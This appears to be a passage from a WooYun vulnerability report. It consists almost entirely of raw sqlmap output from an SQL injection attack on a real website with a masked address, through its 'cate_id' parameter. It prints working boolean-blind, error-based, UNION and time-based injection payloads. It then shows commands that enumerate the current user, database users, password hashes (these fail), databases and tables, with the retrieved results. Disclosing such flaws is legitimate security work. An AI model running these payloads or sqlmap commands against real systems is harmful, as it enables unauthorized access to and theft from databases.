WooYun.org

tate and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 02:15:48
[02:15:49] [INFO] resuming back-end DBMS 'mysql'
[02:15:49] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: cate_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cate_id=67' AND 3783=3783 AND 'BdvE'='BdvE
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: cate_id=67' AND (SELECT 1816 FROM(SELECT COUNT(*),CONCAT(0x3a6a65683a,(SELECT (CASE WHEN (1816=1816) THEN 1 ELSE 0 END)),0x3a636c7a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'gtjH'='gtjH
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: cate_id=67' LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a6a65683a,0x4e79496756635267524c,0x3a636c7a3a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cate_id=67' AND SLEEP(5) AND 'vlxX'='vlxX
---
[02:15:50] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.6
back-end DBMS: MySQL 5.0
[02:15:50] [INFO] fetching current user
[02:15:50] [INFO] heuristics detected web page charset 'ascii'
current user: 'www1web@**.**.**.**'
[02:15:50] [INFO] fetched data logged to text files under 'C:\Users\dell-pc\AppData\Local\Temp\HZ$D75~1.311\HZ$D75~1.311\SQLMAP~1\Bin\output\**.**.**.**'
[*] shutting down at 02:15:50
[root@Hacker~]# Sqlmap -u "http://**.**.**.**/vip//index.php?cate_id=67" --users
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 02:16:01
[02:16:02] [INFO] resuming back-end DBMS 'mysql'
[02:16:02] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: cate_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cate_id=67' AND 3783=3783 AND 'BdvE'='BdvE
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: cate_id=67' AND (SELECT 1816 FROM(SELECT COUNT(*),CONCAT(0x3a6a65683a,(SELECT (CASE WHEN (1816=1816) THEN 1 ELSE 0 END)),0x3a636c7a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'gtjH'='gtjH
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: cate_id=67' LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a6a65683a,0x4e79496756635267524c,0x3a636c7a3a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cate_id=67' AND SLEEP(5) AND 'vlxX'='vlxX
---
[02:16:03] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.6
back-end DBMS: MySQL 5.0
[02:16:03] [INFO] fetching database users
[02:16:03] [INFO] heuristics detected web page charset 'ascii'
[02:16:03] [INFO] the SQL query used returns 1 entries
[02:16:04] [INFO] retrieved: "'www1web'@'**.**.**.**'"
database management system users [1]:
[*] 'www1web'@'**.**.**.**'
[02:16:04] [INFO] fetched data logged to text files under 'C:\Users\dell-pc\AppData\Local\Temp\HZ$D75~1.311\HZ$D75~1.311\SQLMAP~1\Bin\output\**.**.**.**'
[*] shutting down at 02:16:04
[root@Hacker~]# Sqlmap -u "http://**.**.**.**/vip//index.php?cate_id=67" --password
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 02:16:13
[02:16:14] [INFO] resuming back-end DBMS 'mysql'
[02:16:14] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: cate_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cate_id=67' AND 3783=3783 AND 'BdvE'='BdvE
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: cate_id=67' AND (SELECT 1816 FROM(SELECT COUNT(*),CONCAT(0x3a6a65683a,(SELECT (CASE WHEN (1816=1816) THEN 1 ELSE 0 END)),0x3a636c7a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'gtjH'='gtjH
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: cate_id=67' LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a6a65683a,0x4e79496756635267524c,0x3a636c7a3a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cate_id=67' AND SLEEP(5) AND 'vlxX'='vlxX
---
[02:16:15] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.6
back-end DBMS: MySQL 5.0
[02:16:15] [INFO] fetching database users password hashes
[02:16:15] [INFO] heuristics detected web page charset 'ascii'
[02:16:15] [WARNING] reflective value(s) found and filtering out
[02:16:15] [WARNING] the SQL query provided does not return any output
[02:16:16] [WARNING] the SQL query provided does not return any output
[02:16:16] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' and/or switch '--hex'
[02:16:16] [INFO] fetching database users
[02:16:16] [INFO] the SQL query used returns 1 entries
[02:16:16] [INFO] resumed: "'www1web'@'**.**.**.**'"
[02:16:16] [INFO] fetching number of password hashes for user 'www1web'
[02:16:16] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[02:16:16] [INFO] retrieved:
[02:16:17] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[02:16:19] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries
[02:16:19] [WARNING] unable to retrieve the number of password hashes for user 'www1web'
[02:16:19] [CRITICAL] unable to retrieve the password hashes for the database users (most probably because the session user has no read privileges over the relevant system database table)
[*] shutting down at 02:16:19
[root@Hacker~]# Sqlmap -u "http://**.**.**.**/vip//index.php?cate_id=67" --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 02:16:30
[02:16:30] [INFO] resuming back-end DBMS 'mysql'
[02:16:30] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: cate_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cate_id=67' AND 3783=3783 AND 'BdvE'='BdvE
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: cate_id=67' AND (SELECT 1816 FROM(SELECT COUNT(*),CONCAT(0x3a6a65683a,(SELECT (CASE WHEN (1816=1816) THEN 1 ELSE 0 END)),0x3a636c7a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'gtjH'='gtjH
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: cate_id=67' LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a6a65683a,0x4e79496756635267524c,0x3a636c7a3a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cate_id=67' AND SLEEP(5) AND 'vlxX'='vlxX
---
[02:16:31] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.6
back-end DBMS: MySQL 5.0
[02:16:31] [INFO] fetching database names
[02:16:31] [WARNING] it was not possible to count the number of entries for the SQL query provided. sqlmap will assume that it returns only one entry
[02:16:31] [INFO] resumed: "information_schema","information_schema"
[02:16:32] [INFO] fetching tables for databases: 'information_schema, information_schema'
[02:16:32] [INFO] heuristics detected web page charset 'ascii'
[02:16:32] [INFO] the SQL query used returns 28 entries
[02:16:32] [INFO] retrieved: "information_schema","CHARACTER_SETS"
[02:16:33] [INFO] retrieved: "information_schema","COLLATIONS"
[02:16:33] [INFO] retrieved: "information_schema","COLLATION_CHARACTER_SET_AP...
[02:16:33] [INFO] retrieved: "information_schema","COLUMNS"
[02:16:33] [INFO] retrieved: "information_schema","COLUMN_PRIVILEGES"
[02:16:34] [INFO] retrieved: "information_schema","ENGINES"
[02:16:35] [INFO] retrieved: "information_schema","EVENTS"
[02:16:35] [INFO] retrieved: "information_schema","FILES"
[02:16:36] [INFO] retrieved: "information_schema","GLOBAL_STATUS"
[02:16:36] [INFO] retrieved: "information_schema","GLOBAL_VARIABLES"
[02:16:36] [INFO] retrieved: "information_schema","KEY_COLUMN_USAGE"
[02:16:36] [INFO] retrieved: "information_schema","PARTITIONS"
[02:16:36] [INFO] retrieved: "information_schema","PLUGINS"
[02:16:37] [INFO] retrieved: "information_schema","PROCESSLIST"
[02:16:37] [INFO] retrieved: "information_schema","PROFILING"
[02:16:37] [INFO] retrieved: "information_schema","REFERENTIAL_CONSTRAINTS"
[02:16:37] [INFO] retrieved: "information_schema","ROUTINES"
[02:16:38] [INFO] retrieved: "information_schema","SCHEMATA"
[02:16:38] [INFO] retrieved: "information_schema","SCHEMA_PRIVILEGES"
[02:16:38] [INFO] retrieved: "information_schema","SESSION_STATUS"
[02:16:39] [INFO] retrieved: "information_schema","SESSION_VARIABLES"
[02:16:39] [INFO] retrieved: "information_schema","STATISTICS"
[02:16:40] [INFO] retrieved: "information_schema","TABLES"
[02:16:40] [INFO] retrieved: "information_schema","TABLE_CONSTRAINTS"
[02:16:41] [INFO] retrieved: "information_schema","TABLE_PRIVILEGES"
[02:16:41] [INFO] retrieved: "information_schema","TRIGGERS"
[02:16:41] [INFO] retrieved: "information_schema","USER_PRIVILEGES"
[02:16:41] [INFO] retrieved: "information_schema","VIEWS"
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
[02:16:41] [INFO] fetched data logged to text files under 'C:\Users\dell-pc\AppData\Local\Temp\HZ$D75~1.311\HZ$D75~1.311\SQLMAP~1\Bin\output\**.**.**.**'
[*] shutting down at 02:16:41
[root@Hacker~]# Sqlmap -u "http://**.**.**.**/vip//index.php?cate_id=67" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 02:24:25
[02:24:26] [INFO] resuming back-end DBMS 'mysql'
[02:24:26] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: cate_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cate_id=67' AND 3783=3783 AND 'BdvE'='BdvE
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: cate_id=67' AND (SELECT 1816 FROM(SELECT COUNT(*),CONCAT(0x3a6a65683a,(SELECT (CASE WHEN (1816=1816) THEN 1 ELSE 0 END)),0x3a636c7a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'gtjH'='gtjH
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: cate_id=67' LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a6a65683a,0x4e79496756635267524c,0x3a636c7a3a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cate_id=67' AND SLEEP(5) AND 'vlxX'='vlxX
---
[02:24:26] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.6
back-end DBMS: MySQL 5.0
[02:24:26] [INFO] fetching database names
[02:24:26] [WARNING] it was not possible to count the number of entries for the SQL query provided. sqlmap will assume that it returns only one entry
[02:24:26] [INFO] resumed: "information_schema","information_schema"
available databases [2]:
[*] information_schema
[02:24:27] [INFO] fetched data logged to text files under 'C:\Users\dell-pc\AppData\Local\Temp\HZ$D75~1.311\HZ$D75~1.311\SQLMAP~1\Bin\output\**.**.**.**'
[*] shutting down at 02:24:27
[root@Hacker~]# Sqlmap